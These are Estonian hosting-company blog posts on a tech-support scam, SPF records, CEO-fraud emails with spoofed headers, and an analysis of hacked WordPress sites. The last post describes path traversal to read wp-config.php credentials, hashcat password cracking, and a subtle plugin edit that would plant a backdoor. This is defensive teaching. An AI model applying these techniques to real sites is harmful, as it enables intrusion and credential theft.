Tehnilise toe pettus ehk “Appi! Minu arvutisse tungisid häkkerid!”

Küberpättide erinevatest viisidest netikasutajate võrkudesse ja arvutitesse tungimisest ning nende ülevõtmistest võiks ilmselt kirjutada riiuleid täitvaid raamatuid. Tänu netitarbijate küberohuteadlikkuse üleüldisele paranemisele oleme aga üha enam hakanud saama kirju, kus kasutaja on pettusest aru saanud ja tahaks sellest kellelegi teada anda.

Täna keskendume ühele sedasorti skeemile, mis on tuntud kui “Microsofti klienditoe pettus”. Liimile lennanud ja seeläbi oma arvuti üle kontrolli kaotanud kasutajatelt nõutakse kompuutri “puhastamiseks” kopsakaid summasid või lausa lunaraha. Ja kui ohver ei maksa, siis hakkavat tema arvuti ohjeldamatult pahavara, viiruseid ning muud jama levitama.

Järgnev on ühe meie kliendi pöördumine, mis kirjeldab toimunu põgusalt ära. Ta oli lahkesti nõus oma kogemust meie lugejatega jagama, et aidata sellega ära hoida sarnaseid lõksulangemisi tulevikus.

Juhtus selline asi, et internetis surfamise ajal mu arvuti äkki blokeerus, tulid ette mingid kastikesed ja inglisekeelne hääl, mis ütles, et minu arvutisse püüdsid just häkkerid sisse murda, et arvuti on suures ohus jne. Mul ei õnnestunud liikuda ei edasi ega tagasi, panin vahepeal arvuti kinni, aga lahti tehes oli ikka seesama jama ees.

Kastikeses seisis kirjas, et tuleb viivitamatult helistada Microsofti tugikeskusesse (seal oli antud telefon +372 668 24**). Helistasin siis, küsiti, et millega saavad aidata. Kõik toimus inglise keeles. Rääkisin probleemi ära. Kästi minna mõne teise brauseriga leheküljele www.helpme.net. Sinna tuli sisestada oma nimi ja kood, mis anti mulle telefonis. Seejärel laadis arvuti alla ühe .exe faili, mis tuli avada, ja hakkas peale mingi töötlusprotsess. See pidi olema arvuti skanneerimine.

Asi lõppes sellega, et öeldi, et mul on vaja oma arvutile kaitse- või turvaprogramm peale panna, see maksvat 400 eurot ja seda saavat ainult nende käest. Selle peale lõpetasin kõne ära ja lasin ühel tuttaval oma tuttava it-mehe käest küsida, mida selline asi peaks tähendama. Tema ütles, et see olevat lollide püüdmise nipp ja et sellest tuleb kindlasti kuhugi teatada.

Ma aga muretsen nüüd selle pärast, et ma üldse nendega suhtlesin ja selle .exe faili avasin. Lihtsalt ei teadnud, milles asi. Kardan, et äkki neil on nüüd mu arvutile ja andmetele mingi juurdepääs. Esialgu polnud muud hullu märgata, kui nool ei reageerinud klikkamistele. Praegu panin selle arvuti kinni ja võtsin teise arvuti. Aga kas on oht, et mu kontodele võidakse ligi pääseda ja mis ma peaksin nüüd tegema? Kasutan ka internetipanka.

Aitäh, P. – loodetavasti oli Su arvuti ülevaatus päris IT-spetside poolt edukas!

Mis siis toimus?

Asja lühidalt kokku võttes kuvati arvutikasutajale “reklaambännerit” väitega, et arvuti on nakatatud – see võib juhtuda mõne täiesti viisaka veebilehe külastamisel puhta arvutiga. Kuna meil konkreetse reklaami näidet pole, siis laename sarnase päris-Microsofti Windows Security blogist:

Sedapuhku oli aga kirsiks tordil ilus Eestimaine telefoninumber. Mis siis ikka, astusime läbi lähimast Selverist ning ostsime odavaima ehk 1€ kõnekaardi – ning panime püsti värske Windows 8 virtuaalmasina, mille saab pärast blogiposti jaoks piltide tegemist minema visata. Ka võrguühenduseks kasutasime 4G võrku.

Kohustuslik hoiatus: “Palun ära proovi seda kodus järgi teha!”. Meie kasutatud virtuaalmasin läks pärast testi hävitamisele.

On aeg valida number, mis ühendab meid ilmselt kusagilt Indias oleva kõnekeskusega:

Seejärel palutakse kasutajal avada brauser, minna Google lehele ning öeldakse, mis tuleb sisse tippida. Meil tuli otsida “fast support” ning nii jõudsimegi fastsupport.com lehele. Samasse viib edasi ka algses kirjas viidatud helpme.net. Tegemist on tuntud LogMeIn teenusega, mille kaudu osutavad tehnilist kaughaldustuge sajad erinevad infotehnoloogiaettevõtted üle maailma.

“Tehnilise toe” osutamiseks on petturid loonud enesele Fastsupport keskkonnas kasutajakonto, millega kaasneb automaatselt ka kaughaldusrakendus. See laeti “kärbsepaberile” lennanud ohvri arvutisse .exe failina niipea, kui viimane oli petturite “tehnilise toega” telefonitsi ühendust võtnud ning veenvalt ja usutavalt teispool toru inglise keeles esinenud petturitelt saadud koodiga Fastsupporti keskkonda sisenenud.

Ehkki kõnealuse veebilehe sisselogimiskeskkonna päises on hoiatus, mis kutsub kasutajaid üles ettevaatlikkusele oma arvutile ligipääsu võimaldamisel ning kahtlastest tegevustest neile kindlasti märku andma, on küberkriminaalid leidnud siiski viisi ka selle keskkonna kurjalt ärakasutamiseks. Ja nagu eelnevast näitest näha, teevad nad seda osavalt.

Kui keegi meie lugejatest peaks sarnase olukorraga tulevikus kokku puutuma, siis kuni selle hetkeni (kaughaldurakendus on laetud, aga “yes” on klikkimata), pole reaalselt veel mingit kahju tehtud. Siit edasi võtab aga pettur arvuti üle juba täieliku kontrolli, liigutab ekraanil hiirt ja tipib käskusid.

Edasine suhtlus seisnebki selles, et pettur näitab arvutis erinevaid “probleeme”: veateated süsteemsete sündmuste logis, mingid kummalise nimega DLL-failid mille nime googeldamine annab tulemuseks väite, et tegu on tagauksega. Jah, internetis on tõesti olemas veebilehed, mis sisaldavad praktiliselt kõigi Windowsi komponentide kohta selgitust, et tegu on suure probleemiga ja kohe on vaja osta mingi võlts antiviirus:

Et asi veelgi hirmsamaks ajada, käivitatakse käsurealt Netstat näitamaks, et arvutil on mingid võrguühendused püsti ja selle käigus küsitakse kasutajalt, kas ta tunneb neid IP-aadresse. Ei tunne? Raudselt on tegu häkkeritega:

Aga töö käigus mõeldakse ka tulevikule. Meie puhul käis kiiresti ekraanilt läbi tegevus mingi “syskey” nimelise tööriista abil:

See on juba kuri tegu – nüüd peaks Windows hakkama käivitumisel “Startup key” nimelist parooli küsima ja petturil on tõesti õigus väita, et meil on väga tõsine probleem … millest saab üle vaid talle lunaraha makstes.

Edasi avatakse Notepad ja hakatakse sinna tippima nimekirja töödest, mis vaja teha – jõutakse tulemuseni, et see on umbes 50 minutit tööd ning Microsoft’i hinnakirja kohaselt (mida vahepeal brauseris otsitakse ja kuvatakse) maksab lifetime security 1499,99 € ja viieks aastaks 1399,99 €. Ühekordne parandus on kõigest 499,99 €, aga seda ei soovitata, sest siis tuleb aasta pärast porno tagasi:

Nagu näha, on Notepad’is kenasti valmis tehtud väljad krediitkaardinumbri sisestamiseks … ning kui ma lahkun “krediitkaarti otsima” tuleb hindikeelne lausejupp (mille Google tõlgib kui “How are you, bay dog?”), kaughalduslahendus talletab mingi muudatuse virtuaalmasinas … ning siis:

Ilmselt tuli Parallels’i virtuaalmasina kasutus sellele tüübile üllatusena, sest ta küll vaatas vahepeal “dxdiag” tööriista abil süsteemi infot… aga jätkas agaralt müügitööd.

Kuidas selliseid asju vältida?

Nagu paljude asjadega siin elus, saab kõik alguse hügieenist. Täpselt samamoodi, nagu me hoolitseme pimedal ja viirusterohkel aastaajal oma tervise eest, pestes käsi, süües vitamiinirohkeid toitusid ning ohtralt liikudes, tuleb käituda ka virtuaalses maailmas. Mantratena kordame siinkohal soovitusi vältida klõpsamisi kahtlastele linkidele ning siin-seal lahtihüppavatele popup akendele. Uuenduste saabudes värskenda alati oma arvuti operatsioonisüsteemi ning uuenda perioodiliselt viiruse- ja pahavaratõrjet. Need üleskutsed jäävad paratamatult ja tungivalt kõlama ka selle kirjatüki juures. Palun ole valvas. Ole v e e l g i valvsam!

Kindlasti soovitame netiavaruse kahtlasematesse soppidesse sattudes säilitada külma närvi, sest mitmed veebipettused, kaasa arvatud selles kirjatükis lahatav nn. tehnilise toe pettus, toetuvad eeskätt inimlikele nõrkustele ja emotsioonidele: hirmudele ja sellega kaasnevale ehmatusele, mida on osaval pätil väga lihtne oma huvides ära kasutada. Ja mis seal salata – netikasutaja napp teadlikkus ning puudulik valmisolek vilkuvaid ja ähvardavaid veebibännereid sellistes olukordades lihtsalt ignoreerida on vaid kütuseks petturitele.

Kirjeldatud petuskeemi eest hoiatas oma säutsuga käesoleva kuu alguses meie kõigi kübarturvalisuse eest hoolt kandev CERT.ee, mis soovitab kasutada efektiivset ja tõhusat tööriista pahavara avastamiseks: https://www.malwarebytes.com/ . Selle soovitusega ühineme ka meie.

Hoidku kõigevägevamad (Google, Facebook ja AliExpress) meie blogi lugejaid sarnastesse olukordadesse sattumast, kuid kui see peaks kõigele vaatamata juhtuma, siis kindlasti ärge tehke petturitele mingisuguseidki järeleandmisi!

Sarnaselt meie loo ohvriga katkesta kõne, jäta selles arvutis katki kõik pooleliolevad toimingud ning lase esimese asjana oma arvuti üle vaadata ja seejärel puhastada pädeval IT-spetsialistil.

Ehkki tegu on rahvusvahelise mastaabiga petuskeemiga ning selle ametlik menetlemine jõuametkondade poolt ei pruugi tulemusteni viia, ei tee paha ka juhtunust teatamine meie küberpolitseile cybercrime@politsei.ee ja Riigi Infosüsteemi Ameti küberintsidentide tiimile cert@cert.ee, kes saavad sellest lähtuvalt vähemalt meedia kaudu hoiatuse teiste kasutajateni viia.

Lisaks: kui oledki sarnase skeemi poolt juba “pihta saanud”, siis soovitame teist arvutit kasutades ära vahetada kõik oma olulisemate teenuste paroolid: Zone, Gmail, Facebook jt ning rakendada neis nn. kahe faktoriga sisselogimist. Kuigi meie testis tundus asi piirduvat krediitkaardi numbri õngitsemisega ei või kunagi kindel olla, mida nad kasutajale märkamatult on paigaldanud.

Google puhul saab sellega alustada https://www.google.com/landing/2step/ ning selleks piisab kõige lihtsamast lahendusest, mis saadab mobiilile SMSiga kontrollkoodi, kui proovid uuest seadmest sisse logida. Ka Facebook’i jaoks leiab samasuguse lahenduse.

Netipankade – ja Zone teenuste – kasutamisel mobiil-ID või ID-kaardi (pankade puhul lisaks ka Smart-ID) abil tõenäoliselt riski ei ole, aga kindlasti ei maksaks seda teha sellest arvutist, kuhu klienditoe-petturid üle kaughalduse ligi said, enne kui spetsialist selle üle kontrollis ja ära puhastas. Hunt seda teab, mis nad oma ladusa jutu kõrval tegid – või mis selles arvutis juba varem või probleemiks olla.

P.S. Kui tekstist paistab läbi isiksuse kahestumine, siis olgu selgitatud, et Jaanus kirjutas kõigepealt õpetliku jutu kokku… ja siis jõudis kohale Pets eurose SIM-kaardiga ning kirjutas sinna keskele praktilise testi.

 

SPF kirje nüüd kõigil Zone postiservereid kasutavatel domeenidel

Tegime teoks ühe ammuse plaani ja lisasime kõigi Zone postiservereid kasutavate domeenide nimeserveritesse SPF-kirje, mis aitab e-postiteenustel kirju paremini spämmist eristada ja vähendab võimalust, et keegi kolmas saab domeeni aadresse kasutavaid kirju saata.

Kõigi muudatusest puudutatud domeenide omanikud said e-posti teel eelnevalt teavitatud, kirjed lisasime 23.08.2017 hommikul.

Tehniline kokkuvõte: vältimaks probleeme klientidele, kes võivad kasutada oma SMTP-servereid või e-posti saatvaid rakendusi, on lisatud kirje võimalikult leebe ehk v=spf1 a mx include:_spf.zone.eu ~all . Muudest allikatest saadetud kirjad saavad olekuks SoftFail. Soovitame kõigil see ise rangemaks muuta välistades võõraste serverite kasutamise täielikult, selleks peab kirje lõpus olema -all. Kõigile uutele virtuaalserveritele lisame automaatselt range ehk -all SPFi.

Miks me sellise muudatuse tegime?
Põhjuseid on kaks.

Esiteks on viimasel ajal lisaks võõralt aadressilt spämmi saatmisele sagenenud juhtumid, kus kurjategijad võltsivad e-kirjade päiseid ning sisu jätmaks vastuvõtjale mulje, et kiri on igati legitiimne ning saadetud teie ettevõtte töötaja poolt. Reeglina palutakse sellistes kirjades, mis jõuavad teie kolleegide postkastidesse, teha rahaülekanne mõnele välismaisele pangakontole. Kirjutasin ühest sellisest kelmusest Zone blogipostituses “Kas saaksid kiiresti ühe maksekorralduse teha?”.

NB! Juhul, kui olete ise sarnase sisuga kirju saanud, siis kindlasti suhtuge neisse äärmiselt kriitiliselt ning vajadusel täpsustage muid kanaleid pidi saatjalt üle, kas saabunud kiri on ikka tema saadetud!

Teiseks on postiteenused nagu Gmail hakanud järjest enam kontrollima, et e-kirjad saabuksid vastava domeeni omaniku poolt heaks kiidetud serveri vahendusel.

Milles muudatus seisneb?

Me lisame spetsiaalse SPF (Sender Policy Framework) kirje domeeni teenindavasse nimeserverisse. Tänu sellele veenduvad kirju vastuvõtvad e-posti serverid, et saabunud e-kiri on saadetud justnimelt selle domeeninimega seotud e-postkastist ning kiri toimetatakse süsteemi poolt edasi õige saajani. SPF-kirjete lisamine aitab vältida domeeni kasutajate nimel saadetavate võltskirjade ja spämmi jõudmise adressaatideni ning tagab kirjade jõudmise nt Gmail’i kasutajateni.

Tehnilisem selgitus: kirjes on viide kõigile kasutusel olevatele Zone e-posti ja veebiserveritele: kui saadate kirju Outlook’ist vms e-postikliendist, kasutades selleks SMTP protokolli; Zone veebimeilist või kui panete kirjad teele Zones majutatud veebiserveri abil.

Lisatav kirje ei välista täielikult teistest serveritest saadetava e-posti kohalejõudmist. Kui soovite turvalisust suurendada ja e-posti kohalejõudmist veelgi paremini tagada, siis tuleb sätteid veelgi rangemaks muuta.

Päris tehniline selgitus: lisame TXT-kirje mille sisuks on:

v=spf1 a mx include:_spf.zone.eu ~all

Antud juhul me kasutame vaikimisi leebemat ~all parameetrit, mis tähendab, et loetlemata serverid saavad tulemuseks SoftFail. Meie tungiv soovitus on kindlasti tuvastada ja lisada kõik legitiimsed e-posti saatmise kanalid (MailChimp, raamatupidamis- või kliendisuhtehaldustarkvara) ning minna üle parameetri -all peale.

Kas sellest saab loobuda?

Ei, sest puudub mistahes mõistlik põhjus. Küll aga võib soovi korral ise endale meelepärase SPF-kirje seada, selle olemasolul me midagi ei muuda. SPF-kirje aktiveerimiseks talitage nii:

  • logige https://www.zone.ee lehel oma kasutajakontoga Minu Zone’sse
  • menüüvalikus “Teenuste ülevaade” klõpsake asjakohase serveri järel lingile „Halda”
  • järgmisel lehel valige “E-post” ning selle alammenüüst valik “DKIM / SPF / DMARC”
  • avanenud valikutes on tõenäoliselt näha, et SPF kirje on juba aktiveeritud – soovi korral saab klõpsata “Muuda” ning kirje sisu kohandada

Täpsema selgituse ja leiab mullusest blogipostist “3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada”.

Kas midagi võib katki minna?

Ei. Meie lisatav kirje on piisavalt leebe, sest see loetleb lubatud serverid, aga ei keela mujalt saatmist.

Aga kui soovite oma e-posti veel turvalisemaks muuta ning mujalt e-posti saatmine täielikult välistada, kasutades SPF-kirjes -all parameetrit, siis võib juhtuda, et oma e-postitarkvaras mõne mitte-Zone SMTP serveri seadistanud kasutajate kirjad ei jõua kohale või satuvad spämmifiltrisse. Sama lugu võib juhtuda ka MailChimpist või mõnest teisest e-postiturunduslahendusest saadetud kirjadega, raamatupidamisprogrammist saadetavate arvetega jne.

Sellisel puhul on vaja SPF-kirjet vastavalt kohandada, lisades MailChimpi puhul kirjesse include:servers.mcsv.net, Outlook.com postiteenuse kasutamisel include:spf.protection.outlook.com või mõne konkreetse arvuti IP-aadressi. See ei ole keeruline, aga meie seda omal algatusel teha ei saa.

Kuidas kontrollida, et kõik toimib?

Selleks on üks mugav teenus, mis asub aadressil https://www.mail-tester.com , mis sai mullu ka eestikeelse tõlke. Saates teenuse poolt genereeritud test-aadressile oma postkastist kirja, saab mõne minuti pärast tulemust näha. Lähemalt saab sellest lugeda blogipostitusest “Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?“.

Vaata, kuidas kelmidel CEO-pettus nihu läks!

Oleme juba kaks nädalat oodanud oma postkastidesse kirja, kus Martti või Ardi palub kiiremas korras ühe väikse välisülekande teha. Miks meie kliendid saavad neid kirju, aga meie mitte?

Nagu ma “Kas saaksid kiiresti ühe maksekorralduse teha?” postituses selgitasin, on selle skeemi taga tõenäoliselt veebiskanner, mis tuvastab ettevõtte juhi nime ja paneb raamatupidaja või üld-aadressile teele võltsitud saatja-aadressiga kirja. Kui kirjale vastata, saadetakse info makse saaja kohta ning vajadusel mõeldakse välja mingi põhjus miks on kiire ja asjakohast arvet saata ei saa.

Meie saime täna aga sellise kirja:

Üle kontori kõlas kooris “Alex, who the heck is Alex?” … kuniks Ardi taipas, miks see nimi kangesti tuttav tundub: kui googeldada zone manager alexander mitter on esimene vaste paari-aasta-tagune uudis “veebi suitsuanduri” Nimbusec’i lisamisest Zone+ alla. Ja sealt leiab tsitaadi:

Cumulo’s partner relations development manager Alexander Mitter described Nimbusec’s mission: “Cyber attacks are not only aimed at high profile targets anymore, it is a phenomenon that targets the whole society. The mission of Nimbusec is to stay a step ahead of the criminals, watch over our clients websites and alert them when problems arise. This way we help our customers avoid financial and reputation loss. […]

Rrrright, Alex on meil ju igapäevaselt olemas Skype-chatis, kus me Nimbusec’i tehnilist tiimi vale-positiivsetest ja vale-negatiivsetest pahavara-leidudest teavitame.

Mu algne oletus oli, et veebist leitakse firma kontakti-leht ning sealt tuvastatakse manager / CEO vms oluline panjandrum – aga paistab, et nad on suutelised leidma täiesti suvalistest tekstides juhi-rollile viitava sõna kõrvalt nimesid ning nende nimel info@ aadressile kirjutama. Meie saime sama kirja ka arve@zone aadressile.

Moraal?

  • tõepoolest, me räägime Zone veebis teenustest, tehtust, tehnopoliitikast ja küberturvast – aga “who the heck is zone?” on >80% osas katmata ja robotil polnud absoluutselt mingit võimalust tuvastada kes on CEO, kes konduktor või kes büroo-assistent (samas ma ise alati heameelega tutvun enne ostu ettevõtte taustaga)
  • jah, selle kelmuse taga on üsna juhm veebiskanner ning kellelgi pole vaja karta, et tema postkasti-parool vms mitte-avalikud andmed oleks lekkinud
  • võtame asja rahulikult, sest kuniks me ei teosta ülekandeid ilma korrektselt vormistatud ja asjakohaselt aktsepteeritud raamatupidamise algdokumendita (laiemalt tuntud kui “arve”) puudub ka risk kelmuse ohvriks langeda

Kas saaksid kiiresti ühe maksekorralduse teha?

Umbes sellise küsimusega hakkab pihta enamus CEO-kelmuse kirjavahetustest – ja viimastel päevadel on nende hulk järsult kasvanud. Suvi, firmades on osa inimesi puhkamas ning suhtlevad teistega äärmise vajaduse korral lühikeste, mobla-ekraanilt tipitud sõnumitega.

Kontorisse jäänutel on aga puhkajate asendamistega käed-jalad tööd täis ning olukord natuke uus ja ilma sisse harjunud käitumisreegliteta.

Näiteks võiks reedel, napilt enne lõunapausi, assistent Anne postkasti saabuda selline kiri tegevjuht Tiiult:

Ääremärkus: see ja järgmised kirjad on pärit ühe meie turvateadliku kliendi suhtlusest päris kelmidega. Nimed ja aadressid muudetud, fiktiivse firma nimi pärit ühest sotsmeedia-eksperimendist. Igaks juhuks ka tavakohane hoiatus “don’t try that at home work” – vaevalt, et neil sind maksma petta õnnestub… aga äkki võtab keegi trollimist südamesse ja leiab mõne turvaprobleemi mille ärakasutamise-katseks sa veel valmis pole.

Raamatupidaja on puhkusel, aga lõunalt naasnud Anne ülesandeks on kontor iga ilmaga toimivana hoida ja Tiiu saab peagi täpsustava küsimuse:

Viis minutit hiljem tuleb talt vastus:

Samuel on ilmselt rahamuul, kes on “töökuulutuse” peale olnud nõus oma kontole saabuvast rahast 90% sulas välja võtma ja Western Union’i kaudu edasi saatma.

Anne jääb hetkeks kirja uurima – aga peagi on postkastis järgmine kiri Tiiult, kellel ilmselt on maksega kiire:

Mistahes kelmuse puhul on oluline sundida ohver enne tegutsema ja alles siis mõtlema. “Ja-jaa, juba jooksen,” ohkab Anne – aga ta ei saa ju niisama maksta, sest raamatupidaja peaks selle kuidagi algdokumendiga kokku viima:

Ja saab vastuseks:

Nagu näha, sai Google Translate jälle natuke tööd teha ning kellegi nobedad näpud kopeerisid vastused Outlook’i.

Järgmine kord ei pruugi aga pettus nii kergesti märgatav olla, sest suhtluse kulg on üsnagi etteaimatav ja pole keeruline paarkümmend tüüpvastust inimtõlgilt tellida. Tegemist on ikkagi levinud kelmuseliigiga ja küllap leiab selle läbiviimiseks asjakohastest veebidest nii õpetusi kui ka tekstinäiteid. Brian Krebs’il on hea lugu veidi erinevast pettuseliigi ehk “vene kohtinguteenusest” toimimisest.

Jätame aga Tiiu ja Anne omavahel suhtlema ning vaatame…

Kuidas selline kelmus töötab?

Keerulisemate CEO-kelmuste puhul on tegemist ühe osapoole e-postikonto ülevõtmise ning päris arve võltsimisega. Sellist näidet kirjeldab Andris postituses Tõestisündinud lugu e-posti võltsimise tõttu kaotatud rahast ja ühte banaalselt lihtsat postikontosse sissemurdmist lahkas Ardi loos “Paha Panda” varastab postkaste.

Sedapuhku pole aga tegemist konkreetse firma vastu suunatud kuluka harpuunimisega ning Tiiu ja Anne kontaktid leiti pigem firma kodulehelt:

Veebifragment kelmidega kirjavahetust arendanud firma kodulehelt, pildid “Anna Malvara” loo juurest. Olgu lisatud, et mõlemad on 100% sünteetilised ehk 3D-renderdatud – Tiiu on pärit Renderpeople galeriist ja Anne leidsin üles ühest 3ds Max’i õpetusest.

Robotid skannivad tuhandete firmade veebe, korjates kokku e-posti-aadressid ning nendega seotud nimed ja rollid. Keegi hoolas inimene puhastab andmed ja müüb need kena Exceli-tabelina ahela järgmisele lülile maha – hinnajärk ilmselt sent per firma.

Ja see järgmine lüli saadab laiali spämmi, kus saatja real on kenasti From: Tiiu Kask <tiiu@malvara.ee>, kiri on saadetud mõne pahaaimamatu firma serverist (Return-Path: <vd@somehackedwebsite.com>) ja Outlook’i vms e-postikliendi puhul vastamisel kasutatav Reply-To aadress viitab kolmandale, samuti kelmi kontrolli all olevale serverile, kus kasutajanimest sõltumatult jõuavad kõik kirjad “operaatori” postkasti (Reply-To: "Tiiu Kask" <tiiu@vd-scammersdomain.org>):

Anne saab kogu suhtluse käigus kirju, kus saatjaks oleks justnagu õige Tiiu – aga tehes Reply läheb vastus vale-Tiiule.

Kuidas ennast selliste pettuste eest kaitsta?

Ma heameelega räägiks siinkohal vajadusest lisada oma domeenile SPF-kirje, mis võimaldab postiserveritel kontrollida, et malvara.ee kirju tohib saata ainult see üks ja õige server (loe: 3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada ja Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?)… aga kuigi see on 100% mõistlik liigutus, peitub tegelik võti ikka meie endi peas – valmisolekus kelmust ära tunda ja kokkulepitud käitumisreeglites:

  • tea, et kiirusele rõhumine on sageli märk soovist sind tavapärasest erinevalt käituma panna ja e-posti on lihtne võltsida
  • vähimagi kahtluse korral kontrolli saatja tegelik soov üle, kasutades selleks alternatiivset sideviisi (loe: helista sulle teadaolevale, mitte kirjas toodud numbrile) või kasuta vastamise (Reply-To) asemel edastamist (Forward) sisestades teise osapoole aadress ise To-lahtrisse
  • sellise kelmuse ohvriks sattujad ei ole rumalad või hooletud – teine pool on suhtluse üles ehitanud lähtudes väga heast inimpsühholoogia tundmisest ning iga sammu läbi mõelnud, praktiseerides sellist tegevust “üheksast viieni” ehk põhitööna

Tänud kõigile, kes on võtnud vaevaks meile kirjanäidiseid saata ning eriti uudishimulikule “Annele”, kes tahtis teada mis toimub peeglitaguses maailmas 🙂

Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

